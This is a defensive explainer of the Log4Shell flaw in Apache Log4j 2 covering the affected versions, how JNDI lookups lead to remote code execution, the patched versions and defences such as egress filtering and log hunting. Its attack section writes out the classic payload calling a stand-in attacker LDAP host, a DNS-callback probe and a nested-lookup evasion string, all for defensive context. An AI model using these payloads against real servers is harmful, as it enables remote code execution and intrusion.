Log4Shell is the name for CVE-2021-44228, a CVSS 10.0 remote code execution flaw in Apache Log4j 2 (2.0-beta9 to 2.14.1) disclosed in December 2021. Log4j evaluated lookup expressions inside logged messages, so an attacker who got a string like ${jndi:ldap://attacker/a} logged, through a header, username or form field, made the server fetch and run remote Java code. Fixed fully by Log4j 2.17.1 and later (2.12.4 for Java 7, 2.3.2 for Java 6). It remains one of the most exploited vulnerabilities on record.
What Log4Shell is
Apache Log4j 2 is a Java logging library embedded in a huge range of software, from web apps to network appliances and games, often several dependencies deep where teams did not know it existed.
Log4j supported "lookups," expressions like ${env:HOME} that it expanded when formatting a message. One lookup type, JNDI (the Java Naming and Directory Interface), could fetch objects from a remote LDAP or RMI server. Log4j expanded lookups inside the logged data itself, so any attacker-controlled text that got logged could trigger a remote fetch. On many Java versions that fetch loaded and executed a remote class: expression injection turned into remote code execution.
How the attack works
Shown for defensive context, the classic probe is a single string placed anywhere an app might log it:
- Payload:
${jndi:ldap://attacker.example/a}in aUser-Agentheader, a login username, a search box or a chat message. - What happens: Log4j logs the string, expands the lookup, connects to the attacker's LDAP server and receives a reference to a remote Java class that the server then loads and runs.
- Detection probes used by testers and attackers alike swap the LDAP server for a DNS callback, such as
${jndi:dns://unique-id.collaborator.example}, to confirm the lookup fires without running code. - Evasion: nested lookups like
${${lower:j}ndi:...}defeated simple string-matching rules, which is why WAF filters alone were never enough.
The first fix, 2.15.0, was incomplete. CVE-2021-45046 and CVE-2021-45105 followed, then CVE-2021-44832, before 2.17.1 closed the chain.
How to fix and defend
- Upgrade Log4j to 2.17.1 or later on Java 8+, 2.12.4 on Java 7 or 2.3.2 on Java 6. Older mitigations such as
formatMsgNoLookupsare not sufficient. - Find every copy. Search build files and also scan compiled artifacts and container images for
log4j-coreJARs, including copies shaded inside other JARs. Vendor appliances need vendor patches. - Restrict outbound traffic from servers. The attack needs the server to reach the attacker's LDAP or RMI host; default-deny egress breaks the chain.
- Hunt for historical
${jndi:strings in web and application logs and for outbound LDAP connections from servers that should not make them.
CISA still lists Log4Shell among the most exploited vulnerabilities years after disclosure, so unpatched copies in old appliances remain a real risk.
References
- [1]Apache Log4j security vulnerabilities(Apache)
- [2]NVD: CVE-2021-44228(NIST NVD)
- [3]CISA: Apache Log4j vulnerability guidance(CISA)
- [4]MITRE CWE-917: Expression Language Injection(MITRE)
- [5]MITRE ATT&CK: Exploit Public-Facing Application (T1190)(MITRE)